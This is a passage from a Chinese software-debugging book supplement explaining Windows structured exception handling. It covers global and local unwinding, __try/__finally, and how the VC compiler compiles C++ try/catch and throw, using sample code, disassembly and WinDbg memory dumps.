第七,调用 ZwContinue(Context, FALSE)恢复到 Context 结构中指定的状态,并继 续执行,如果执行成功,程序就“飞”回到 ulTargetIpAddress 参数所指定的地址,即 标号__ret_label 所代表的地址,也就是返回到_global_unwind2 函数中。 全局展开结束后,FS:[0]指向的便是声明愿意处理异常的登记结构了。接下来, _except_handler3 函 数 会 将 这 个 结 构 中 记 录 的 EBP 值 ( 即 _EXCEPTION_ REGISTRATION 结构的_ebp 字段)设置到 EBP 寄存器中。这样栈便恢复到了这个异常处 理器所对应的栈帧。对于我们的例子,就是把栈恢复到 main 函数的栈帧,FS:[0]链条也是 main 函数调用 FuncFoo 之前的样子,此时的状态与 main 函数中发生异常需要执行异常处 理块是一样的。而后, _except_handler3 函数会调用异常处理块,也就是执行 pRegistrationFrame->scopetable[trylevel].lpfnHandler()。异常处理块结束后便 会自然进入(Fall Through)到所属的函数中,不会再返回到_except_ handler3 函数。 对于我们的例子,在 main 函数的异常处理块(第 43 行)执行后,便自然地执行后面的第 46 行和第 47 行了。 24.6.3 局部展开(Local Unwind) 那么,在每个异常处理器函数收到展开调用后应该做些什么呢?总的来说,就是完成 该处理函数范围内的清理和善后工作。因为 VC 为每个使用 SEH 的函数注册了一个异常 处理器,这意味着一个处理器的管理范围是它所负责的那个函数。相对于全局展开需要遍 历 FS:[0]链条依次调用多个异常处理器来讲,我们把每个异常处理器收到全局展开调用后 《软件调试》补编 - 26 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 所作的本函数范围内的清理工作叫局部展开。因为 RtlUnwind 会从 FS:[0]链条注销被展开 的登记结构,即上面描述的第 5 步,所以局部展开时不需要注销自己的登记结构。 概括来讲,局部展开主要是完成如下两项任务。 第一,遍历范围表(scopetable)中属于被展开范围的各个表项,察看是否有终结处 理块(__try{}__finally 结构的 finally 块)需要执行。 第二,对于 C++程序,调用被展开范围内还存活对象调用函数内还存活对象(alive objects)的析构函数。C++标准规定当栈被展开时,异常发生时仍然存活着的对象的析构 函数应该被调用。这一操作很多时候被简称为对象展开(Object Unwind)。 我们将在下一节讨论__try{}__finally 结构。现在来看对象展开,如清单 24-17 所 示的 SehUwObj 程序。如果不带任何命令行参数执行 SehUwObj,那么 argc = 1,这会让 main 函数使用参数 n = 0 调用 FuncObjUnwind 函数,在第 23 行会发生一个除零异常。这 时,第 20 行实例化的 bug0 对象依然有效(存活),而 bug1 对象还没创建。按照 C++标准, 当栈展开时应该调用 CBug 的析构函数来析构 bug0 对象。 清单 24-17 演示对象展开的 SehUwObj 程序 1 #include "stdafx.h" 2 #include <windows.h> 3 4 class CBug 5 { 6 public: 7 CBug(int n) : m_nIndex(n){ printf("Bug %d constructed\n", m_nIndex);} 8 ~CBug(){ printf("Bug %d deconstructed\n", m_nIndex);}; 9 protected: 10 int m_nIndex; 11 }; 12 int FuncObjUnwind(int n) 13 { 14 CBug bug0(0); 15 __try 16 { 17 n=1/n; // n=0 时会触发除零异常 18 } 19 __except(EXCEPTION_CONTINUE_SEARCH) 20 { 21 CBug bug1(1); 22 n=0x122; 23 } 24 return n; 25 } 26 27 int main(int argc, char* argv[]) 28 { 29 __try 30 { 31 printf("FuncObjUnwind got %x!\n", FuncObjUnwind(argc-1)); 32 } 33 __except(printf("Filter in main\n"), EXCEPTION_EXECUTE_HANDLER) 34 { 35 printf("Handling block in main\n"); 36 } 37 return 0; 38 } 在 VC6 中编译以上代码,会得到多个 C4509 号警告信息: C:\...\ SehUwObj.cpp(32) : warning C4509: nonstandard extension used: ' FuncObjUnwind' uses SEH and 'bug1' has destructor 上面的警告告诉我们,FuncObjUnwind 函数使用了不属于 C++标准的 SEH 扩展(即 __try 和__except),而且 bug1 对象有析构函数。 接下来还有一个 C2712 号错误: 《软件调试》补编 - 27 – Copyright © 2009 ADVDBG.ORG All Rights Reserved C:\...\ SehUwObj.cpp(34) : error C2712: Cannot use __try in functions that require object unwinding 这个错误明确地告诉我们,不可以在需要对象展开的函数中使用__try{}__ except() 扩展结构。察看 MSDN,对以上警告的一种解决建议是使用 C++的 try{}catch()结构。 如果在项目属性中不启用 C++异常处理(Project > Settings > C++ > 选取 C++ Language > 不选中 Enable Exception Handling),那么没有上面的编译错误,但警告信息还 在。执行编译好的程序,得到的结果如下: Bug 0 constructed. Filter in main. Handling block in main. 这个结果说明,由于执行第 17 行时发生了异常,程序仿佛从第 17 行(FuncObjUnwind 函数)直接飞到了第 33 行(main 函数)。FuncObjUnwind 函数中第 17 行后的代码和 main 函数中尚未执行完的 printf 函数都因为发生异常而被跳过,Bug0 对象也没能被析构,这是 不符合 C++标准的,这正是编译器发出警告信息和错误信息的原因。 总结以上分析可以得出结论,VC 的__try{}__except()结构不支持 C++标准所规定 的对象展开。这主要是因为对象展开需要记录对象的生存范围和析构函数地址等与 C++ 语言有关的信息,而__try{}__except()结构是一种既可以用于 C 语言,也可以用于 C++ 语言的结构,如果加入大量对 C++的支持,那么必然会影响使用 C 语言编写的大量系统 代码和驱动程序代码的性能。因此,VC 编译器的做法是如果要支持对象展开,那么就使 用 C++的 try{}catch()结构。 事实上,__try{}__except()结构的异常处理函数_except_handler3 会调用一个名 为_local_unwind2 的函数执行局部展开动作。该函数的原型如下: void _local_unwind2(_EXCEPTION_RECORD * frame, DWORD trylevel) 因为不支持对象展开,_local_unwind2 的实现比较简单,它只是遍历 scopetable, 寻找其中的__try{}__finally 块(特征为 lpfnFilter 字段为空),找到后执行对应的 lpfnHandler 函数(即 finally 块),循环的结束条件是遍历了整个 scopetable 或到达参数 trylevel 所指定的块。我们将在下一节详细介绍以上过程。 24.7 __try{}__finally 结构 在对__try{}__except()结构有了比较深入的理解后,我们来看一下 Windows 结构 化异常处理中的终结处理,也就是__try{}__finally()结构。我们依然以一个简单的控 制台程序 SehFinally 为例(见清单 24-18)。 清单 24-18 SehFinally 程序的源代码 1 #include "stdafx.h" 2 #include <windows.h> 3 4 int SehFinally(int n) 5 { 6 __try 7 { 8 n=1/n; 9 }__finally 10 { 11 printf("Finally block is executed.\n"); 12 } 13 return n; 14 } 15 int main(int argc, char* argv[]) 16 { 17 __try // TryMain 18 { 《软件调试》补编 - 28 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 19 printf("SehFinally got %d\n", SehFinally(argc-1)); 20 }__except(printf("Filter expression in main is evaluated.\n"), 21 EXCEPTION_EXECUTE_HANDLER) 22 { 23 printf("Exception handling block is executed.\n"); 24 } 25 return 0; 26 } 观察 SehFinally 函数的汇编指令(见清单 24-19),很容易看出编译器使用的编译方 法 与 编 译 __try{}__except 结 构 非 常 类 似 。 事 实 上 , VC 使 用 统 一 的 数 据 结 构 (scope_entry)和处理函数(_except_handler3)来处理__try{}__except 结构和 __try{}__finally 结构。区分这两种结构的方法也非常直观,那就是__try{}__finally 结构所对应的 scope_entry 的 lpfnFilter 字段(过滤表达式)为空,也就是说,编译 器是把__try{}__finally 结构看作过滤表达式为 NULL 的特殊__try{}__except 结构 来编译的。具体来说,像把异常处理块编译成函数形式一样,终结块也被编译为一种函数 形式,我们不妨将其称为终结块函数。在清单 24-20 中,第 29~32 行便是 SehFinally 函数的终结块函数。 清单 24-19 SehFinally 函数(发布版本)的反汇编结果 1 00401000 55 push ebp ;保护父函数的栈帧基地址 2 00401001 8bec mov ebp,esp ;建立本函数的栈帧基地址 3 00401003 6aff push 0FFFFFFFFh ;分配并初始化 trylevel 4 00401005 68e0704000 push offset SehFinally!KERNEL32…+0x30 (004070e0) 5 0040100a 682c124000 push offset SehFinally!_except_handler3 (0040122c) 6 0040100f 64a100000000 mov eax,dword ptr fs:[00000000h] 7 00401015 50 push eax ;将以前的登记结构地址压入栈 8 00401016 64892500000000 mov dword ptr fs:[0],esp ;登记动态建立的登记结构 9 0040101d 83ec08 sub esp,8 10 00401020 53 push ebx ;保存需要保持原值的寄存器 11 00401021 56 push esi ;保存需要保持原值的寄存器 12 00401022 57 push edi ;保存需要保持原值的寄存器 13 00401023 c745fc00000000 mov dword ptr [ebp-4],0 ;修改 trylevel 14 0040102a b801000000 mov eax,1 ;准备被除数 15 0040102f 99 cdq ; 16 00401030 f77d08 idiv eax,dword ptr [ebp+8] ;整除 17 00401033 894508 mov dword ptr [ebp+8],eax ;商赋给参数 1 18 00401036 c745fcffffffff mov dword ptr [ebp-4],0FFFFFFFFh ;离开保护块 19 0040103d e814000000 call SehFinally!SehFinally+0x56(00401056);调用终结块函数 20 00401042 8b4508 mov eax,dword ptr [ebp+8] ;准备返回值 21 00401045 8b4df0 mov ecx,dword ptr [ebp-10h];取保存的前一个登记结构地址 22 00401048 64890d00000000 mov dword ptr fs:[0],ecx ;恢复 23 0040104f 5f pop edi ;恢复需要保持原值的寄存器 24 00401050 5e pop esi ;恢复需要保持原值的寄存器 25 00401051 5b pop ebx ;恢复需要保持原值的寄存器 26 00401052 8be5 mov esp,ebp ;恢复栈指针 27 00401054 5d pop ebp ;恢复父函数的栈帧基地址 28 00401055 c3 ret ;返回,以下是终结块函数 29 00401056 6830804000 push offset SehFinally!`string' (00408030) 30 0040105b e8a0000000 call SehFinally!printf (00401100) 31 00401060 83c404 add esp,4 ;释放调用 printf 函数压入的参数 32 00401063 c3 ret ;返回 因为无论保护块内是否发生异常,终结块都应该被执行,所以在函数正常执行路线上 也会有对终结块函数的调用,例如第 19 行就是这样的调用。 那么,当有异常发生时,终结块函数是如何被调用的呢?在终结块函数的入口处(第 29 行)设置一个断点: bp 00401056 然后执行程序,会有异常通知发给调试器,按 F5 继续,于是断点命中,观察栈序列会发 现与正常执行 SehFinally 函数没什么两样。这种效果正是栈展开过程所追求的目标,也就 《软件调试》补编 - 29 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 是当执行终结处理块或其他局部展开代码时,都将栈设置成这些代码所在函数的情况。观 察程序的屏幕输出,可以看到屏幕上已经输出了一行信息: Filter expression in main is evaluated. 可见,此时 main 函数中的过滤表达式已经被执行过了,它同意处理异常,系统才执 行栈展开,于是被展开函数中的终结块被调用。单步跟踪第 29~32 行的指令,并回到上 一级函数,此时看到的是_NLG_Return2 标号,它其实是局部展开函数_local_unwind2 的后半部分。在_local_unwind2 中调用 lpfnHandler 函数的下面便是_NLG_Return2 标 号,继续执行会跳转到_local_unwind2 函数中的遍历范围表的起始处。至此,我们印证 了是_local_unwind2 函数调用终结块函数。 从_local_unwind2 退出后是_except_handler3 函数,它是第 6 行指令注册的异常 处理函数。继续跟踪_except_handler3 函数,直到它返回到 ExecuteHandler2 函数, 此时再观察栈调用序列,便可以看到与清单 24-17 中的栈帧#01~#0b 几乎一样的栈回溯 了。 清单 24-20 显示了_local_unwind2 函数的伪代码,其中包含了执行当前函数范围内 的各个终结块的过程。 清单 24-20 _local_unwind2 函数的伪代码 1 void _local_unwind2(_EXCEPTION_REGISTRATION * pRegFrame, 2 DWORD dwEndTrylevel) 3 { 4 DWORD dwPrevTrylevel=0x0FFFFFFFE; 5 6 push pRegFrame //本代码块是要注册一个内嵌的异常处理器 7 push 0FFFFFFFEh //一个特殊的 trylevel 值 8 push offset SehFinally!_global_unwind2+0x20 (00401154)//压入范围表地址 9 push dword ptr fs:[0] //旧的异常处理登记结构 10 mov dword ptr fs:[0],esp //登记到 FS:[0]中 11 12 while (pRegFrame->trylevel!= TRYLEVEL_NONE && 13 pRegFrame->trylevel!= dwEndTrylevel) 14 { 15 pCurScopeEntry = pRegFrame->scopetable[pRegFrame->trylevel]; 16 dwPrevTrylevel = pCurScopeEntry->previousTryLevel; 17 pRegFrame-> trylevel= dwPrevTrylevel; 18 if (!pCurScopeEntry ->lpfnFilter) //判断是__try{}__finally 结构 19 { 20 pCurScopeEntry ->lpfnHandler(); //执行终结块 21 _NLG_Return2: 22 } 23 } 24 pop dword ptr fs:[0] //注销内嵌的异常处理器 25 } 参数中的 dwEndTrylevel 用来作为循环结束标志,即当循环到这个编号的__try 结构 时停止遍历。对于本节的例子,__except_handler3 函数是以−1(TRYLEVEL_ NONE) 为参数来调用的,含义是遍历指定栈帧中的所有__try 结构。 24.8 C++的 try{}catch 结构 在理解了操作系统的 SEH 工作机制和 VC 的__try{}__except()结构后,接下来要 讨论的是 C++语言的异常处理,即 C++的 try{}catch 结构。为了与 SEH 相区别,C++ 的异常处理通常被简称为 CppEH(C plus plus Exception Handling)。 《软件调试》补编 - 30 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 24.8.1 C++的异常处理 C++标准定义了 3 个与异常有关的关键字:try、catch 和 throw。其典型结构为: try { // 被保护块 throw [expression] } catch (exception-declaration) { // 处理符合声明类型的异常处理块 } [[catch (exception-declaration) { //处理符合声明类型的异常处理块 } ] . . . ] 也就是使用 try 关键字和一对大括号将要保护的代码包围起来,其后可以有一个或多 个由 catch 关键字开始的 catch 块。每个 catch 块由异常声明(exception-declaration)和 异常处理两部分组成。异常声明的作用类似于过滤表达式,只不过这里是使用类型来进行 匹配。异常声明的一个特例是省略号(…),意思是与所有异常都匹配。例如,在清单 24-21 所示的 CppEH 程序中,CppEH 函数的 try 块后共有 3 个 catch 块,前两个分别捕捉字符 串类型和整数类型的异常,最后一个用于捕捉所有其他类型的异常。 清单 24-21 CppEH 程序的源代码 1 #include "stdafx.h" 2 class C{ 3 public: 4 C(int n,int a){no=n;age=a;} 5 ~C(){printf("Object %d is destroyed [%d]\n",no,age);}; 6 int no,age; 7 }; 8 int CppEH(int n) 9 { //EHRec = -1 10 C o(-1,100); //定义-1 号类实例 11 try //Try0 // EHRec = 0 12 { // EHRec = 1 13 C o0(0,o.age*n); //定义 0 号类实例 14 try //Try1 // EHRec = 2 15 { // EHRec = 3 16 C o1(1,o0.age/n); //定义 1 号类实例 17 throw o1; //此语句前 EHRec 被设置为 4 18 } 19 catch(C e) // 捕捉 C 类型的异常 20 { 21 printf("Class C %d captured\n",e.no); 22 } 23 o.age=o0.age; //此语句前 EHRec 被设置为 2 24 } // EHRec = 1 25 catch(...) // 捕捉所有类型的异常 26 { 27 printf("Async exception captured\n"); 28 } 29 return o.age; // EHRec = 0 30 } 31 int main(int argc, char* argv[]) 32 { 33 printf("Exception Handling in C++ [%d]!\n", CppEH(argc-1)); 34 return 0; 35 } 36 随便跟一个参数执行调试版本的 CppEh.EXE 程序,此时 argc = 2,所以第 16 行的 除法操作可以顺利进行,于是执行第 17 行的 throw 语句,即抛出一个 C++类类型的异常, 这个异常会被第一个 catch 块捕捉到,其执行结果如清单 24-22 所示。 清单 24-22 带一个参数执行 CppEH 程序 c:\dig\dbg\author\code\bin\Debug>cppeh 888 //带一个参数执行调试版本的 CppEH 程序 《软件调试》补编 - 31 – Copyright © 2009 ADVDBG.ORG All Rights Reserved Object 1 is destroyed [100] //执行 Catch 块前栈展开时析构对象 o1 Class C 1 is captured //执行第 19~22 行的 catch 块 Object 1 is destroyed [100] //Catch 块中的用户代码执行后析构对象 e Object 1 is destroyed [100] //析构抛出的异常对象,参见第 24.9 节 Object 0 is destroyed [100] //对象 o0 被析构 Object -1 is destroyed [100] //-1 号对象被析构 Exception Handling in C++ [100]! //main 函数打印的消息 如果不带任何参数执行调试版本的 CppEh.EXE,因为 argc = 1,所以第 16 行会导致 一个除零异常,对于 C++程序来说,这是个非语言级的异常,相对于使用 throw 语句抛 出的 C++异常,又被称为异步异常(Asynchronous Exception)或结构化异常(Structured Exception)。普通 catch 块的异常声明只匹配 C++异常,对于除零这样的异步异常,只有 第二个 catch 块有可能捕捉到。之所以说有可能,是因为这与编译器的设置有关,直接执 行使用默认选项编译出的调试版本 CppEH 程序(不带参数),程序的执行结果为: c:\dig\dbg\author\code\bin\Debug>cppeh //不带参数执行调试版本的 CppEH 程序 Object 0 is destroyed [0] //对象 o0 被析构 Async exception captured //执行第 25~28 行的 catch 块 Object -1 is destroyed [100] //对象 o-1 被析构 Exception Handling in C++ [100]! // main 函数打印的消息 也就是说,使用默认选项编译的调试版本中的 catch(…)块捕捉到了除零异常。对于 发布版本的 CppEH.EXE,带参数执行的结果是一样的,如果不带参数执行,那么会导致 应用程序错误,启动 JIT 调试,这说明默认发布版本的 CppEH.EXE 的 catch(…)块没有捕 捉到除零异常。 事实上,VC 编译器(VC6 和 VC2005 都有)有一个 C++异常有关的重要选项: /EH{s|a}[c][-] 其中 s 代表只捕捉同步异常而且外部(extern)C 函数会抛出异常;a 代表捕捉同步和 异步异常,c 代表外部(extern)C 函数不抛出异常。编译器对发布版本的默认设置为 EHsc, 即只捕捉非 C 函数的同步异常,这样编译器就可以假定只有 throw 语句和函数调用语句 才会发生异常,如果某些对象的生命期没有跨越 throw 语句和函数调用,那么在构建对象 展开记录时就可以不考虑这些对象,从而减小编译出的目标代码大小,因此 EHsc 是最经 济的设置。 如果在发布版本的项目属性中加入/EHa 开关(Settings → C++选 Customize,然后在 编辑框中输入),重新编译,然后再执行,则 catch(…)块便也可以捕捉除零异常了。 24.8.2 C++异常处理的编译 了解了 C++异常处理的基本用法后,我们来看一下 VC 编译器是如何编译包含 try{}catch 结构的,仍以 CppEH 函数为例。在讨论之前要说明的一点是,C++标准定义 了 C++异常处理的基本行为,但是并没有规定编译器应该如何编译有关的代码。因此不同 编译器的实现机制会有所不同,我们以 VC 编译器为例。清单 24-23 给出了 CppEH 函数 (发布版本)开头处的汇编代码。 清单 24-23 CppEH 函数的序言(发布版本) 1 CppEH!CppEH: 2 00401000 55 push ebp 3 00401001 8bec mov ebp,esp 4 00401003 6aff push 0FFFFFFFFh 5 00401005 68d8784000 push offset CppEH!CloseHandle+0x22 (004078d8) 6 0040100a 64a100000000 mov eax,dword ptr fs:[00000000h] 7 00401010 50 push eax 8 00401011 64892500000000 mov dword ptr fs:[0],esp 9 00401018 83ec24 sub esp,24h 《软件调试》补编 - 32 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 容易看出,以上代码与前面几节介绍使用__try{}__except()结构的情况很类似,但 有以下两点不同。 第一,在压入处理函数的地址之前,压入的是 EHRec 变量的初始值−1,没有压入范 围表指针(scopetable)。这是因为 try{}catch 结构不使用我们前面介绍的范围表结构, 而是使用我们下面要介绍的 cxx_function_descr 和 tryblock_info 等结构。EHRec 变 量的作用与__try{}__except 结构中使用的 trylevel 类似,但是其变化规则有所不同。这 样一来,try{}catch 结构登记在 FS:[0]链条上的数据结构便与__try{}__except()所使 用的_EXCEPTION_REGISTRATION 结构有所不同,MSVCR80 的调试符号中将这个结构 称为 EHRegistrationNode,详情如下: 0:000> dt EHRegistrationNode //CppEH 使用的登记结构 +0x000 pNext : Ptr32 EHRegistrationNode //指向下一个节点 +0x004 frameHandler : Ptr32 Void //处理函数 +0x008 state : Int4B //即 EHRec 第二,对于__try{}__except()结构,第 5 行压入的是_except_handler3 这样的函 数,而现在压入的显然不再是_except_handler3 函数。也就是说,使用 C++异常处理的 函数所注册的异常处理函数与使用__try{}__except()结构时的处理函数是不同的。那么 这个函数是什么?不妨反汇编其地址(004078d8)来看一下。 清单 24-24 编译器(VC6)动态产生的异常处理函数 0:000> u 004078d8 CppEH!CloseHandle+0x22: 004078d8 b820864000 mov eax,offset CppEH!_TI1H+0x10 (00408620) 004078dd e9a299ffff jmp CppEH!__CxxFrameHandler (00401284) 可 见 这 个 函 数 只 是 一 个 过 度 , 它 将 某 个 地 址 赋 给 EAX 寄 存 器 后 便 跳 转 到 __CxxFrameHandler 函数。所以可以说这段代码只是__CxxFrameHandler 函数的一个特 别入口,我们将这一小段代码称为C++异常处理函数的入口片段,简称CppEH入口。CppEH 入口是编译器动态产生的,因为没有为其输出专门的符号,所以上面清单中(第 5 行)使 用了邻近的符号(CppEH!CloseHandle)来做参照物。 事实上,CppEH 入口就是为了传递赋给 EAX 寄存器的那个地址值(00408620),或 者说以这种特别的方式来传递参数。这个地址指向的是一个名为__cxx_function_ descr 的数据结构,称为 C++函数描述符,其定义如下: typdedef struct __cxx_function_descr{ UINT magic //结构签名,固定为 0x19930520 UINT unwind_count //unwind_table 数组所包含的元素个数 unwind_info * unwind_table //用于描述展开信息的展开表 UINT tryblock_count // tryblock 数组所包含的元素个数 tryblock_info * tryblock //用于描述 try{}catch 结构的 Try 块表 UINT unknown [3] // } cxx_function_descr; 其中,magic 为一个固定的整数,始终为 0x19930520,当使用 throw 关键字抛出 C++ 异常时,异常参数信息 ExceptionInformation[0]中设置的也是这个值(见后文)。 unwind_count 字段描述的是下面的 unwind_table 数组所包含的元素个数,unwind_table 的每个元素是一个 unwind_info,用于描述栈展开时所需的信息。tryblock_count 是下 面的 tryblock 数组的元素个数,也就是函数内所包含的 Try 块的个数。使用 dd 命令加上 CppEH 入口代码中的地址便可以观察 CppEH 函数的描述结构: 0:000> dd 00408620 00408620 19930520 00000007 00408640 00000002 00408630 00408678 00000000 00000000 00000000 其中,19930520 是 magic 字段,00000007 代表 00408640 处有 7 个 unwind_info 结 《软件调试》补编 - 33 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 构,后面的 2 代表这个函数中共有两个 Try 块,它们的描述位于 00408678。unwind_info 结构的定义如下: typedef struct __unwind_info { int prev; //这个展开任务执行后要执行的下一个展开处理器的 EHRec void (*handler)(); //执行这个展开任务的函数,即展开处理器(unwind handler) } unwind_info; 对于 CppEH 函数,unwind_count = 7,unwind_table 数组的地址是 00408640,使 用 dd 命令可以观察原始的数据: 0:000> dd 00408640 le 00408640 ffffffff 004078c0 00000000 00000000 00408650 00000001 004078c8 00000002 00000000 00408660 00000003 004078d0 00000002 00000000 00408670 00000000 00000000 其中第 2、4 列是 prev 字段,第 3、5 列是 handler 字段。可以看到某些 handler 字段为空,这是预留在这,没有真正使用。非零的 handler 字段值代表栈展开时要调用 的函数地址。对其其中的 004078c0 进行反汇编: 0:000> u 004078c0 004078c0 8d4de0 lea ecx,[ebp-20h] 004078c3 e91898ffff jmp CppEH!C::~C (004010e0) 可见这也是很短的一个转发性代码,共有两行汇编,第 1 行是将一个局部变量的地址 赋给 ECX 寄存器,然后便跳转到类 C 的析构函数中,因为 this 调用协议是使用 ECX 寄存 器来传递 this 指针的,所以这显然是将对象指针赋给 ECX,然后便调用这个对象的析构函 数。对 004078c8 和 004078d0 进行反汇编,看到的结果非常类似,因此可以想象到这 3 个 代码片段是与 CppEH 函数中的 3 个对象一一对应。 描述 try{}catch 布局的 tryblock_info 结构的定义如下: typedef struct __tryblock_info { int start_level; //这个 Try 块起点的 EHRec 级别 int end_level; //这个 Try 块的终点的 EHRec 级别 int catch_level; //Catch 块的初始 EHRec 级别 int catchblock_count; //catchblock 数组的元素个数 const catchblock_info *catchblock; //描述 Catch 块的数组 } tryblock_info; 在 CppEH 函数中有两个 Try 块,因此 tryblock 所指向的地址处有两个 tryblock_ info,使用 dd 命令可以观察这两个结构: 0:000> dd 00408678 la 00408678 00000003 00000004 00000005 00000001 00408688 004086a0 00000001 00000005 00000006 00408698 00000001 004086b0 每个 tryblock_info 结构的长度是 20 个字节,即 5 个 DWORD 长,因此我们一共 显示了 10 个 DWORD,前 5 个描述的是内层的 Try 块(第 14~18 行,我们将其称为 Try1), 后 5 个描述的是外层的 Try 块(第 11~24 行,即 Try0)。 为了支持对象展开,编译器在描述 C++异常结构时,使用一个名为 EHRec 的内部变 量来标记不同的区域。编译器产生的代码是使用 EBP-4 来索引 EHRec 变量,因此观察汇 编代码中对局部变量 EBP-4 的赋值指令就可以看到编译器是如何设置 EHRec 的。对于 CppEH 函数,我们将 EHRec 的设置情况标记在清单 24-22 的注释中。 catchblock_count 字段用来记录 Try 块所拥有的 Catch 块数量,catchblock 数组用 来描述每个 Catch 块的信息,每个元素是一个 catchblock_info 结构: typedef struct __catchblock_info { 《软件调试》补编 - 34 – Copyright © 2009 ADVDBG.ORG All Rights Reserved UINT flags; //标志 const type_info *type_info; //这个 Ctach 块要捕捉的类型 int offset; //用来复制异常对象的栈偏移 void (*handler)(); //Catch 块处理函数,即 Ctach 内的代码 } catchblock_info; 其中 flags 字段可以包含一个或多个以下标志: #define TYPE_FLAG_CONST 1 //常数 #define TYPE_FLAG_VOLATILE 2 //指定 volatile 特征 #define TYPE_FLAG_REFERENCE 8 //引用 type_info 指向一个类型信息,用于描述这个 Catch 块所要捕捉的异常类型,offset 字段用于指定一个相对栈帧基地址(EBP)的偏移值,异常分发函数会将异常对象复制到 这个栈地址中,也可以理解为这就是 catch 关键字后的异常声明表达式中的那个异常变量 (e)的偏移地址;handler 即 catch 块的异常处理代码的起始地址。 对于 CppEH 函数中的 Try0 块,它有一个 Ctach 块,根据前面的内存显示,它的地址 是 004086b0,使用 dd 命令可以看到 catchblock_info 结构的各个字段值: 0:000> dd 004086b0 004086b0 00000000 00000000 00000000 00401098 可见,flags、type_info 和 offset 字段都为零,这是因为这个 Catch 块的表达式 是…,即捕捉所有异常,不需要类型匹配和复制异常对象。00401098 是 Ctach 块的代码, 使用 u 命令可以看到它确实与第 27 行的源代码相对应。 以下是 Try1 块的 Catch 块描述: 0:000> dd 004086a0 004086a0 00000000 00409040 ffffffc8 0040106f 其中 00409040 是 type_info 字段,ffffffc8(-56)是 offset 字段,0040106f 是 handler 字段。type_info 结构的定义如下: typedef struct __type_info { const vtable_ptr *vtable; //type_info 类的虚拟方法表指针 char *name; //类型名称 char mangled[32]; //可变长度的类型标志串 } type_info; 其中,name 字段用来指向类型的名称,它是按照需要而分配的,所以通常为 0, mangled 字段用来存放类型标志串,它是编译器按照名称修饰(参见 25.1 节)规则产生的 类型名称,其长度是可变的,以 0 结束。以刚才观察的 Ctach 块捕捉的类型为例,它的 type_info 地址是 00409040,其内容为: 0:000> dd 00409040 00409040 004080f0 00000000 56413f2e 00404043 当异常发生寻找处理异常的 Catch 块时,会先比较 mangled 字段,匹配后再比较 __catchblock_info结构中的 flags字段,如果也匹配,则准备调用__catchblock_ info 结构中的 hanlder 函数。 图 24-4 归 纳 了 上 面 介 绍 的 这 些 数 据 结 构 和 它 们 之 间 的 关 系 。 其 中 cxx_ function_desc 是核心,它的 unwind_table 字段指向描述展开信息的 unwind_info 数组,tryblock 字段指向描述 Try 块布局的 tryblock_info 数组。一个 tryblock_info 结构描述一个 Try 块,它的 catchblock 字段指向描述 Catch 块的 catchblock_info 数 组。 《软件调试》补编 - 35 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 24-4 描述 try{}catch 结构的数据结构 从数量的角度来讲,一个使用了try{}catch结构的函数有一个cxx_function_ desc 结构,函数中有几个 Try 块就有几个 tryblock_info 结构,同样,函数中共有多少个 Catch 块就有多少个 catchblock_info 结构,它们是与自己所属的 Try 块关联在一起的。 24.9 编译 throw 语句 上一节我们介绍了 VC 编译器编译 C++语言的 try{}catch 结构的方法,本节将继续 介绍编译器是如何编译 C++的 throw 语句的。我们仍以上一节的 CppEH 程序(清单 24-22) 为例,在函数 CppEH 中,第 17 行代码使用 throw 关键字抛出了一个类型为类 C(Class C) 的异常。 清单 24-25 显示了 throw o1 语句(清单 24-22 的第 17 行)所对应的汇编代码。 清单 24-25 throw o1 语句所对应的汇编代码 1 004010a8 8b4dd8 mov ecx,dword ptr [ebp-28h] 2 004010ab 894dc8 mov dword ptr [ebp-38h],ecx 3 004010ae 8b55dc mov edx,dword ptr [ebp-24h] 4 004010b1 8955cc mov dword ptr [ebp-34h],edx 5 004010b4 6898664200 push offset CppEH!_TI1?AVC (00426698) 6 004010b9 8d45c8 lea eax,[ebp-38h] 7 004010bc 50 push eax 8 004010bd e8be080000 call CppEH!_CxxThrowException (00401980) 其中 ebp-28h 即对象 o1 的地址,因此第 1~4 行是把 o1 的两个成员 n 和 age 的值赋 给栈上的临时对象(位于 ebp-38h),也就是要抛出的对象。第 5 行是将 CppEH!_TI1?AVC 的地址压入栈,它是编译器为类 C 产生的异常类型描述,是一个 cxx_exception_type 结构: typedef struct __cxx_exception_type { UINT flags; //类型标志 void (*destructor)(); //析构函数 cxx_exc_custom_handler custom_handler; //异常的定制处理器(Custom Handler) const cxx_type_info_table *type_info_table; //类型列表 } cxx_exception_type; 使用 dd 命令显示本例中的异常类型: 0:000> dd 00408610 00408610 00000000 004010f0 00000000 00408608 其中,00000000 是 flags 字段,004010f0 是析构函数的地址,即 C::~C(),00408608 是 type_info_table 字段,它是一个 cxx_type_info_table 结构: typedef struct __cxx_type_info_table { UINT count; //info 数组所包含的元素个数 const cxx_type_info *info[3]; //类型信息,可变长度 } cxx_type_info_table; 《软件调试》补编 - 36 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 尽管 info 字段声明包含 3 个元素,但其实际元素个数应根据 count 字段来确定,例 如,对于前面的 cxx_exception_type 结构中类型那个列表: 0:000> dd 00408608 00408608 00000001 004085e8 00000000 004010f0 这说明这个类型列表中包含一个类型,其地址为 004085e8,该地址又是一个 cxx_type_info 结构: typedef struct __cxx_type_info { UINT flags; //标志,见下文 const type_info *type_info; //C++类的类型信息 int this_ptr_offset; //基类的 this 指针偏移 int vbase_descr; //虚拟基类的描述 int vbase_offset //虚拟基类的 this 指针偏移 unsigned int size; //对象大小 cxx_copy_ctor copy_ctor; //C++复制构造函数(Copy Constructor) } cxx_type_info; 使用 0:000> dd 004085e8 0:000> dd 004085e8 l7 004085e8 00000000 00409040 00000000 ffffffff 004085f8 00000000 00000008 00000000 其中 flags 字段可以包含如下标志: #define CLASS_IS_SIMPLE_TYPE 1 #define CLASS_HAS_VIRTUAL_BASE_CLASS 4 00409040 是类型信息,与我们前面观察 catchblock 数组时看到的内层 catch 块的类型 值是相同的,因为第二个 catch 块捕捉的和这里抛出的都是 C++类。 清单 24-25 的第 7 行是将栈上的临时对象 ebp-38h 的地址压入栈,第 8 行是调用用于 产生异常的_CxxThrowException 函数,清单 24-26 给出了这个函数的伪代码。 清单 24-26 _CxxThrowException 函数的伪代码 1 void _CxxThrowException( void *object, const cxx_exception_type *type ) 2 { 3 DWORD args[3]; 4 5 args[0] = 